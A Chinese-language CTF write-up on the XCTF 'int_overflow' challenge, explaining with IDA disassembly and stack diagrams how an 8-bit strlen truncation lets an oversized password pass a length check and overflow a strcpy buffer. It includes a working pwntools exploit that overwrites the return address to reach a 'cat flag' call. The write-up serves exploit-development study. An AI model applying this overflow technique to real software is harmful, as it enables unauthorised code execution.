zoukankan      html  css  js  c++  java
  • 整数溢出攻击(二):ctf整数溢出导致栈溢出出实战

       1、本想拿windows下整数溢出做漏洞实战,奈何没找到合适的windows版本镜像,看不到实际效果,只能作罢;遂拿ctf的整数溢出学习;xctf下面有个int_overflow题不错,可以拿来练手!

             

             这里建议把int_overflow下载到本地测试,不要通过网络远程测试(坑得一b);我用的是kali的系统,装了docker镜像,这份代码是在镜像中运行的。效果如下:随便属于什么内容都提示success;

    root@xxx_ctf:/ctf/work# ./int_overflow 
    ---------------------
    ~~ Welcome to CTF! ~~
           1.Login       
           2.Exit        
    ---------------------
    Your choice:1
    Please input your username:
    admin
    Hello admin
    
    Please input your passwd:
    123456
    Success

           同目录下自己建了个flag文件,后续int_overflow溢出时会读这个flag文件;flag文件的内容是:flag{1234567890}

          

         这里先解释一下为什么不要通过网络远程测试,这是我测试时报的错:sendlineafter函数出错了,一直报raise EOFERROR错误;查了好久的资料,https://github.com/Gallopsled/pwntools/issues/47 这里给了提示:If there's no data to read, an EOFError is raised to the top level;如果服务器没有数据返回,这个函数就会报EOFError错误。后来换成本地测试,一切都正常了!

    root@xxxx_ctf:/ctf/work# python3 int_overflow.py
    [+] Opening connection to 111.200.241.244 on port 57052: Done
    Traceback (most recent call last):
      File "int_overflow.py", line 4, in <module>
        io.sendlineafter("Your choice:", "1")
      File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 796, in sendlineafter
        res = self.recvuntil(delim, timeout=timeout)
      File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 310, in recvuntil
        res = self.recv(timeout=self.timeout)
      File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 82, in recv
        return self._recv(numb, timeout) or b''
      File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 160, in _recv
        if not self.buffer and not self._fillbuffer(timeout):
      File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 131, in _fillbuffer
        data = self.recv_raw(self.buffer.get_fill_size())
      File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/sock.py", line 56, in recv_raw
        raise EOFError
    EOFError

      先看看本地测试的结果:成功拿到flag{1234567890}(当然这个flag是我刚才人为“伪造”的);

    root@xxxx_ctf:/ctf/work# python3 int_overflow.py
    [+] Starting local process './int_overflow': pid 182
    [*] Switching to interactive mode
    
    Success
    flag{1234567890}
    [*] Got EOF while reading in interactive
    $ 
    [*] Process './int_overflow' stopped with exit code -11 (SIGSEGV) (pid 182)
    [*] Got EOF while sending in interactive

         先把POC贴出来:这是在我kali本机测试的代码

    from pwn import *
    #io = remote("111.200.241.244", 57052)
    io = process("./int_overflow")
    cat_flag_addr = 0x0804868B
    io.sendlineafter("Your choice:","1")
    io.sendlineafter("your username:","kk")
    io.recvuntil("your passwd:")
    payload = b"a" * 0x14 + b"aaaa" + p32(cat_flag_addr)+b"a"*234
    io.sendline(payload)
    #io.recvall()
    io.interactive()

      2、现在分析代码原理

            很多时候做逆向,我们是拿不到源代码的(这不废话么,都能拿到源代码了还需要逆向么?直接正常二次开发不就完了?)。对于大型的工程,代码都是几十、几百万行的,转成汇编后代码会更多,这么多代码,应该从哪入手了?

           (1) 一般情况下,都是从数据开始的。根据逆向的目的,先找到数据,比如破解软件,找到注册失败的提示;又比如破解登陆,找到登陆失败的提示等。动态调试可以通过CE,这里是静态分析,就用IDA了。先打开IDA,来到string窗口。这里既然是ctf比赛,目的是拿到flag,自然而言就是先找flag了嘛!这里刚好有cat flag字符串,应该就是这里了(看看上文,我在同目录下新建了一个flag文件的,这里大概率就是在linux下通过cat命令查看文件内容的);

       

            进入text界面,看到这里使用了cat flag字符,这下立即明朗了:这里把cat flag压栈,然后调用system命令执行cat flag字符串。所以如果我们想看到flag,就必须想办法跳转到这个函数的入口点,即:0x804868B;

           

            正常情况下,这些代码都在服务器,我们是没法改代码的(要是都能改代码了,说明已经能控制服务器了,溢出已经没意义)。要想让程序跳转到0x804868B执行,只能想办法改变各个函数返回地址的值,让ebp+4的地方被改成0x804868B;那么问题又来了,从main开始,经过了层层的函数调用,到底改哪个函数的ebp+4最合适了

           刚才说了,程序都在服务端,逆向人员此时是没法改代码的,只能通过发送超长的字符串去改变ebp+4,所以一般情况下,最好是更改字符串接受函数的ebp+4;从目标代码执行的情况看,有3个地方接受了用户的输入,分别是:

    •        选择login还是exit
    •        输入用户名
    •        输入密码

           这3个地方,哪个地方最适合发送我们构造的payload去改变epb+4了?

         (2)先看第一个地方:选择login还是exit;从汇编代码看,输入必须是整数;用户的输入分别和1或2比较。如果既不是1、也不是2,那么打印Invalid code提示;这对用户输入的类型做了限制,只能是1或2,所以暂时放弃,不考虑这里了!

      

           继续分析后两个用户输入之前,先进login函数瞅瞅:这里分别初始化两个字符串s和buf,长度分别是0x20和0x200. 经验上看,0x20应该是用户名,0x200的应该是密码,毕竟密码不能公开,长一点更安全的嘛!又有一点要注意:这里是都是外平栈的,函数调用完后才通过add esp的方式平栈!

    .text:0804872C                 push    20h ; ' '       ; n
    .text:0804872E                 push    0               ; c
    .text:08048730                 lea     eax, [ebp+s]
    .text:08048733                 push    eax             ; s
    .text:08048734                 call    _memset
    .text:08048739                 add     esp, 10h
    .text:0804873C                 sub     esp, 4
    .text:0804873F                 push    200h            ; n
    .text:08048744                 push    0               ; c
    .text:08048746                 lea     eax, [ebp+buf]
    .text:0804874C                 push    eax             ; s
    .text:0804874D                 call    _memset
    .text:08048752                 add     esp, 10h

         然后再调用read函数把用户输入的用户名保存在s;这里用户名限制了长度,不能超过0x19=25个字节;

    .text:08048765                 sub     esp, 4
    .text:08048768                 push    19h             ; nbytes
    .text:0804876A                 lea     eax, [ebp+s]
    .text:0804876D                 push    eax             ; buf
    .text:0804876E                 push    0               ; fd
    .text:08048770                 call    _read
    .text:08048775                 add     esp, 10h

         接着打印用户输入的用户名,确保用户没输错:

    .text:08048778                 sub     esp, 8
    .text:0804877B                 lea     eax, [ebp+s]
    .text:0804877E                 push    eax
    .text:0804877F                 push    offset format   ; "Hello %s
    "
    .text:08048784                 call    _printf
    .text:08048789                 add     esp, 10h

      接着继续输入密码:同样调用read函数,把用户输入的密码保存在buf中;这里密码的长度在0-0x199之间;

    .text:0804878C                 sub     esp, 0Ch
    .text:0804878F                 push    offset aPleaseInputYou_0 ; "Please input your passwd:"
    .text:08048794                 call    _puts
    .text:08048799                 add     esp, 10h
    .text:0804879C                 sub     esp, 4
    .text:0804879F                 push    199h            ; nbytes
    .text:080487A4                 lea     eax, [ebp+buf]
    .text:080487AA                 push    eax             ; s
    .text:080487AB                 push    0               ; fd
    .text:080487AD                 call    _read
    .text:080487B2                 add     esp, 10h

          这还没完了,用户输入完密码,接着调用check_passwd函数对密码做检查:

    .text:080487B5                 sub     esp, 0Ch
    .text:080487B8                 lea     eax, [ebp+buf]
    .text:080487BE                 push    eax             ; buf
    .text:080487BF                 call    check_passwd
    .text:080487C4                 add     esp, 10h

      进入check_password看看是怎么检查密码的,代码如下;核心就是看看密码的长度,必须在3~8之间,否则提示密码无效;

    .text:080486AA                 sub     esp, 0Ch
    .text:080486AD                 push    [ebp+s]         ; s
    .text:080486B0                 call    _strlen
    .text:080486B5                 add     esp, 10h
    .text:080486B8                 mov     [ebp+var_9], al
    .text:080486BB                 cmp     [ebp+var_9], 3
    .text:080486BF                 jbe     short loc_80486FC
    .text:080486C1                 cmp     [ebp+var_9], 8
    .text:080486C5                 ja      short loc_80486FC
    .text:080486C7                 sub     esp, 0Ch
    .text:080486CA                 push    offset s        ; "Success"
    .text:080486CF                 call    _puts
    .text:080486D4                 add     esp, 10h
    .text:080486D7                 mov     eax, ds:stdout@@GLIBC_2_0
    .text:080486DC                 sub     esp, 0Ch
    .text:080486DF                 push    eax             ; stream
    .text:080486E0                 call    _fflush
    .text:080486E5                 add     esp, 10h
    .text:080486E8                 sub     esp, 8
    .text:080486EB                 push    [ebp+s]         ; src
    .text:080486EE                 lea     eax, [ebp+dest]
    .text:080486F1                 push    eax             ; dest
    .text:080486F2                 call    _strcpy
    .text:080486F7                 add     esp, 10h

            以上就是用户名和密码输入的简单分析和解读,那么到底哪个更适合用来发送我们的payload了?这里先画个简单的堆栈图:login函数一进来就分配了0x228的空间。在此基础上调用read函数接受输入的用户名;这里就无法通过用户名覆盖login函数的返回地址了,原因如下:

    •     保存用户名的read函数栈如下如所示:从read的参数看,用户名被保存在ebp-0x28的位置,但read只读取了不超过0x19=25字节的长度,是无法覆盖login返回地址的

             

      既然用户名这里不行,那就继续看密码的输入;根据代码画堆栈图如下:发现和用户名一样的窘境:read这里限制只读取0x199个字节,从ebp-0x228这里开始读0x199还是够不着login的返回地址,这可咋整呀?(注意:严格讲:红框部分不能叫read函数栈,我这里是为了区分login函数主题才这样叫的!)

            

          既然密码输入那里也不行,那就继续找呗;只要涉及到函数调用的地方,肯定会在ebp+4的地方保存返回地址,就存在被覆盖的可能!下一个就是检查密码长度的check_passwd函数了,函数的栈图如下:从这里也看出不能覆盖login的返回地址,继续进入check_passwd函数看:(注意:严格讲:红框部分不能叫check_passwd函数栈,我这里是为了区分login函数主题才这样叫的!)

          

          进入check_passwd函数,前面都是常规的操作:分配栈空间、计算密码长度,看看密码长度是不是在3和8之间,如果是就打印success;这里没有可以利用的地方,略过!

    .text:080486A4                 push    ebp
    .text:080486A5                 mov     ebp, esp
    .text:080486A7                 sub     esp, 18h
    .text:080486AA                 sub     esp, 0Ch
    .text:080486AD                 push    [ebp+s]         ; s
    .text:080486B0                 call    _strlen
    .text:080486B5                 add     esp, 10h
    .text:080486B8                 mov     [ebp+var_9], al ; ebp-0x9
    .text:080486BB                 cmp     [ebp+var_9], 3
    .text:080486BF                 jbe     short loc_80486FC
    .text:080486C1                 cmp     [ebp+var_9], 8
    .text:080486C5                 ja      short loc_80486FC
    .text:080486C7                 sub     esp, 0Ch
    .text:080486CA                 push    offset s        ; "Success"
    .text:080486CF                 call    _puts
    .text:080486D4                 add     esp, 10h
    .text:080486D7                 mov     eax, ds:stdout@@GLIBC_2_0
    .text:080486DC                 sub     esp, 0Ch
    .text:080486DF                 push    eax             ; stream
    .text:080486E0                 call    _fflush
    .text:080486E5                 add     esp, 10h

      前面执行完,这里有个strcpy操作,关键点终于来了: 这个函数的参数分别是密码和ebp-0x14(注意:这里的ebp是check_passwd函数的),也就是把密码拷贝到ebp-0x14处,并且没有长度检查哟,是全部拷贝哟!如果从这里开始计算,需要多少个字节才能覆盖返回地址了? 覆盖哪个函数的返回地址了?

       

       从上面的栈图可以看到,此时栈上有两个返回地址,距离ebp-0x14最近的当然是check_passwd的返回地址了(返回到login)。另一个是就是login的返回地址了(返回到main)。这里覆盖哪一个最合适了?一般情况下是就近原则:选择当前调用函数的返回地址覆盖!这里先选check_passwd的返回地址覆盖;

           密码被复制到ebp-0x14的地方,ebp+4才是返回地址,所以需要先填充0x14+0x4个字节,接着再写入我们指定的返回地址即可,所以payload如下:

    •        b"a"*0x14+b"a"*4+p32(我们指定的跳转地址)

      这样就完了么? 这个payload一共0x14+4+4=28字节=0001 1100字节,但是check_passwd里面有如下关键的检查代码:先调用strlen计算出密码长度,然后保存在eax;此时取al、也就是密码长度的最低8bit,看看是不是在3~8之间;如果不是,就跳转到另一个分支,不会再执行strcpy,所以我们构造的密码的长度需要绕过这个检查

    .text:080486AA                 sub     esp, 0Ch
    .text:080486AD                 push    [ebp+s]         ; s
    .text:080486B0                 call    _strlen
    .text:080486B5                 add     esp, 10h
    .text:080486B8                 mov     [ebp+var_9], al ; ebp-0x9
    .text:080486BB                 cmp     [ebp+var_9], 3
    .text:080486BF                 jbe     short loc_80486FC
    .text:080486C1                 cmp     [ebp+var_9], 8
    .text:080486C5                 ja      short loc_80486FC

      这里al寄存器的值必须在4(不包括3)~8之间,所以字符串的长度必须是2^8+4 ~ 2^8+8 之间,原因很简单:al已经固定了在3~8,否则通不过长度检查,那么只能在ah上想办法了,此时如果ah最低位是1,那么此时的ax=2^8=1 0000 0000,加上al的值,也就在1 0000 0100 ~ 1 0000 1000之间了;所以我们构造的密码字符串长度的需要在260~264之间!

      上面的payload我们只填充了28个字节,还差至少260-28=232个字节,所以这里继续构造paylaod(取个中间数,刚好卡在4~8中间,不踩线):

    •   b"a"*0x14+b"a"*4+p32(我们指定的跳转地址) + b"a"*234

      

    总结:

    •       这里调用关系层级比较多:main->login->check_passwd->strcpy,一直到strcpy才找到覆盖ebp的地方,挖掘这种漏洞需要耐心!
    •       每调用一次函数就会在栈存放返回地址,就有被覆盖的可能,一般是选择距离最近(也就是当前调用函数)的返回地址覆盖
    •       栈溢出高危地方的特征:
      • mov [ebp+寄存器*4+立即数], 寄存器;  这里通过改变寄存器的值能改变ebp+4的值,达到覆盖返回地址的效果!
      • 字符串操作函数比如strcat、memset、strcpy等函数前面出现了lea [ebp+立即数],这就是把栈地址作为参数传入这些函数,然后这个特定的栈地址写数据,这里也存在溢出的可能性

           

    补充说明:

            C和C++有地址、指针的概念,加上逆向又可能多重指针,层层嵌套,很多初学者可能不好理解,我这里总结了一下这些概念之间的关系;就拿前段时间分析sqlite数据库的一张截图,如下:比如我定义了一个字符串char *s = “C:usersxxxxxxxxxxxxxxxxx”,这行代码怎么理解了? 

    •        首先,s是个指针,它本身就是个变量,存放在栈里的,所以这个变量本身也是要占用栈空间的。&s就表示取s占用空间的地址,也就是栈上的地址,也就是最左边那一列(看我图中标记的&s)
    •        其次:s表示指针,也就是指向的地址空间在哪,那么就是存储在栈上的数据,也就是中间那列(看我图中标记的s);注意:&s和s都是地址,&s表示s这个变量本身的地址,s表示这个变量存储(也就是指向)的地址,这两个是不一样的!这里很容易混淆!
    •       *s表示取内容,也就是把堆上字符串取出来,就是最右边那列!

           

    参考:

    1、https://github.com/danigargu/CVE-2020-0796  Windows SMBv3 LPE Exploit

    2、https://security.tencent.com/index.php/blog/msg/117   Windows 10下MS16-098 RGNOBJ整数溢出漏洞分析及利用

  • 相关阅读:
    Spring + SpringMVC + MyBatis
    jquery+bootstrap使用数字增减按钮
    Eclipse添加代码注释模板
    No goals have been specified for this build
    字符串前面自动补零
    深入理解JavaScript系列
    java判断A字符串是否包含B字符串
    WebSocket 实战
    button点击切换,获取按钮ID
    JS 中判断空值 undefined 和 null
  • 原文地址:https://www.cnblogs.com/theseventhson/p/14527574.html
Copyright © 2011-2022 走看看